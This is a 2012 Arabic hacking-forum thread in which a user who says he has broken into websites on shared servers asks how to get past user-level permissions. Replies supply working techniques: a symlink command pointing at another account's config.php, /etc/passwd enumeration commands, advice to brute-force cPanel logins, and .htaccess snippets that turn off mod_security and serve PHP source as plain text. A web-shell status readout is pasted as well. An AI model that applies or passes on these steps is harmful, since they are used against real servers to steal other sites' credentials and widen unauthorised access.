:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   [مشكلة] مشكلة تخطي صلاحية اليوزر (http://www.vbspiders.com/vb/t63572.html)

nazgul 07-17-2012 09:28 PM
مشكلة تخطي صلاحية اليوزر
 
السلالالام عليكم ورحمة الله وبركاته

مساء الخير
اخواني انا معي اكثر من موقع مستهدف ع سيرفرات مختلفه
المهم انا مخترق مواقع ع السيرفر :flex: لكن المصيبه
انه الصلاحية يوزر + اختصرت السيرفر ln -s لكن للاسف
لما اجي استعرضه بالمتصفح يطلع interal server error
ارفع هتكسس عشان اتخطاه يطلع لي forbidden ارفع هتكسس
عشان اتخطاها يرجع الinteral server error صراحة انا دخت
حاولت بالسيملنك يطلع Internal Server Error صراحة قرفت حالي
لانه كل السيرفرات اللي مستهدف عليها مواقع واخترقها الصلاحيات يوزر
والحمد لله ولا موقع يضبط عليه التخطي والبيرل مايشتغل للاسف
اتمنى منكم المساعدة اخواني واللي محترف بالتخطي يدز لي ايميله او يفيدنا هنا
عشان الكل يستفيد،،
+
مبارك عليكم الشهر الكريم :blushing:

MaFia 07-17-2012 10:16 PM
رد: مشكلة تخطي صلاحية اليوزر
 
جرب خلي الاختصار بامتداد
.doc
يعني اسحب بالشكل التالي
ln -s /home/user/public_html/config.php 1.doc
واعطينا معلومات عن اسم السيرفر والدوال واصدار النواه

nazgul 07-18-2012 02:56 PM
رد: مشكلة تخطي صلاحية اليوزر
 
اقتباس:
المشاركة الأصلية كتبت بواسطة Cyber Mafia (المشاركة 442511)
جرب خلي الاختصار بامتداد
.doc
يعني اسحب بالشكل التالي
ln -s /home/user/public_html/config.php 1.doc
واعطينا معلومات عن اسم السيرفر والدوال واصدار النواه
هلا آخوي جربت اللي قلت عليه بس لازم صلاحية روت root/root
امممم
هاذي كل المعلومات
$ uname -a
Linux onja.centos-server.net 2.6.18-408.el5.lve0.8.61.1 #1 SMP Wed Apr 18 07:47:15 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

آنتظر ردك

خالد سعودي 07-18-2012 04:31 PM
رد: مشكلة تخطي صلاحية اليوزر
 
اخي تحصل معي المشكلة هذا بصراحة حرب لي عندي ماينفع ثم اوقوم بعلق الاندكس على الموقع
جرب
شوف
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
awk -F: '{ print $1 }' /etc*/passwd | sort

وذ حبيت ترسلي الشل بحرب بشوف اذ طلعت المعلومات ارسله لك
فمان الرحمن

nazgul 07-20-2012 01:25 PM
رد: مشكلة تخطي صلاحية اليوزر
 
اقتباس:
المشاركة الأصلية كتبت بواسطة خالد سعودي (المشاركة 442605)
اخي تحصل معي المشكلة هذا بصراحة حرب لي عندي ماينفع ثم اوقوم بعلق الاندكس على الموقع
جرب
شوف
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
awk -F: '{ print $1 }' /etc*/passwd | sort

وذ حبيت ترسلي الشل بحرب بشوف اذ طلعت المعلومات ارسله لك
فمان الرحمن
هلا اخي امممم هي هاذي اكبر مشكلة مانختلف عليها اثنين
لكن انا بدي اتعلم كيف اتخطاها او طرق اخرى غير اللي ذكرتها
ومشكور ع ردك فديتك :blushing:

الشبح المرح 07-20-2012 02:26 PM
رد: مشكلة تخطي صلاحية اليوزر
 
ممكن اصدار الphp

و الدوال الممنوعة !!

nazgul 07-20-2012 03:30 PM
رد: مشكلة تخطي صلاحية اليوزر
 
هلا اخوي مافي دوال ممنوعة + السيف مود اوف
تفضل
اصدار الphp 5.2.17


20-07-2012 07:59:05 [ The main survey ] [ SQL ] [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]
safe_mode: OFF PHP version: 5.2.17 cURL: ON MYSQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
Disable functions: NONE
HDD Free : 1198.8 GB HDD Total : 1728.61 GB
Register globals: OFF open_basedir: OFF

MaFia 07-20-2012 03:34 PM
رد: مشكلة تخطي صلاحية اليوزر
 
اقتباس:
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
awk -F: '{ print $1 }' /etc*/passwd | sort
الاوامر مالها اي علاقه
بسبب المشكله


شوف يا غالي صاحب المشكله حاول بأي شكل تخمن على سي بانل
وارسلهولي على الخاص

لان مشكلتك واجهتني على سيرفر
اسحب بدالة السيم لينك يظهر فوربيدن
وارفع هتاكس يظهرلي
inter serv

fantome195 07-20-2012 07:57 PM
رد: مشكلة تخطي صلاحية اليوزر
 
السلام عليكم
اهلين بيك شوف المشكلة تمريص الكتير من الهكرز ههه الله يعينا
معليك الا رفع سكريب تخمين السبانل وبعدين تقدر تعمل براحتك
لو ما تفع حاول الدخول من شيل اخر يعني من موقع اخر لا على وعسى يكون خير
كل شي ما مازبط خودلك بريك وبعدين نجلس انا وياك نشوف شو المعمول
رمضان مبارك

Abo MalaK 07-20-2012 08:52 PM
رد: مشكلة تخطي صلاحية اليوزر
 
php 5.2.17
عانها منها الكثيرـ

لآكن ان شاء الله تحصل حل لها

الشبح المرح 07-21-2012 12:48 AM
رد: مشكلة تخطي صلاحية اليوزر
 
اولا حط الهيتس دا لمنع not acceptable
كود:
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule> 

تضع الهيتس دا لتخطي interal server error
كود:
DirectoryIndex seees.html
Options +Indexes
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddType text/plain .pl
AddType text/plain .asp
AddType text/plain .htm
AddType text/plain .shtml
AddType text/plain .shtm
AddType text/plain .htaccess
ثم الهيتس دا لمنع الفوربيدن
كود:
Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
هدي هي الطريقة امتبعة لتخطيه جربها


الساعة الآن 06:05 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0